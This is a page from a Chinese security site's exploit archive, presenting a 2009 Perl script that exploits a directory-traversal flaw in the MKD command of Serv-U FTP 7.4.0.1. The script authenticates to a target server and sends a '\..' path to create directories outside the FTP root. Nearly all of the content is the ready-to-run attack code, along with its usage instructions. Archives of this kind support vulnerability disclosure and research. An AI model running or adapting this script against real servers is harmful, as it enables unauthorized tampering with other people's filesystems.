首页    新闻    下载    文档    论坛     最新漏洞    黑客教程    数据库    搜索    小榕软件实验室怀旧版    星际争霸WEB版    最新IP准确查询   
名称: 密码:      忘记密码  马上注册
0day :: oday

Serv-U 7.4.0.1 (MKD) Create Arbitrary Directories Exploit


(略)
#!/usr/bin/perl
# Soft : FTP Serv-U
# Version : v7.4.0.1
#
# A vulnerability is caused due to an input validation error when handling FTP "MKD"
# requests. This can be exploited to escape the FTP root and create arbitrary directory on
# the system via directory traversal attacks using the "\.." character sequence.
#
#
# Author: Jonathan Salwan
# Mail: submit [AT] shell-storm.org
# Web: http://www.shell-storm.org


use IO::Socket;
print "[ ] Author : Jonathan Salwan \n";
print "[ ] Soft: FTP Serv-U\n";

if (@ARGV < 4)
{
print "[*] Usage: <serv-u.pl> <host> <port> <user> <pass> <dir>\n";
print "[*] Exemple: guildftp.pl 127.0.0.1 21 jonathan toto ..\\\\dir\n";
exit;
}

$ip = $ARGV[0];
$port = $ARGV[1];
$user = $ARGV[2];
$pass = $ARGV[3];
$dir = $ARGV[4];

$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$ip", PeerPort => "$port") || die "\n[-] Connecting: Failed!\n";

print "\n[ ] Connecting: Ok!\n";
print "[ ] Sending request...\n";

print $socket "USER $user\r\n";
print $socket "PASS $pass\r\n";
print $socket "MKD $dir\r\n";

sleep(3);
close($socket);

print "[ ]Done! directory $dir has been created\n";

[2009-03-16]
<< PPLive <= 1.9.21 (/LoadModule) URI Handlers Argument Injection Vuln Morovia Barcode ActiveX 3.6.2 (MrvBarCd.dll) Insecure Method Exploit >>
API:
gipsky.com & 安信网络

系统导航

 

Copyright © 2001-2010 安信网络. All Rights Reserved
京ICP备05056747号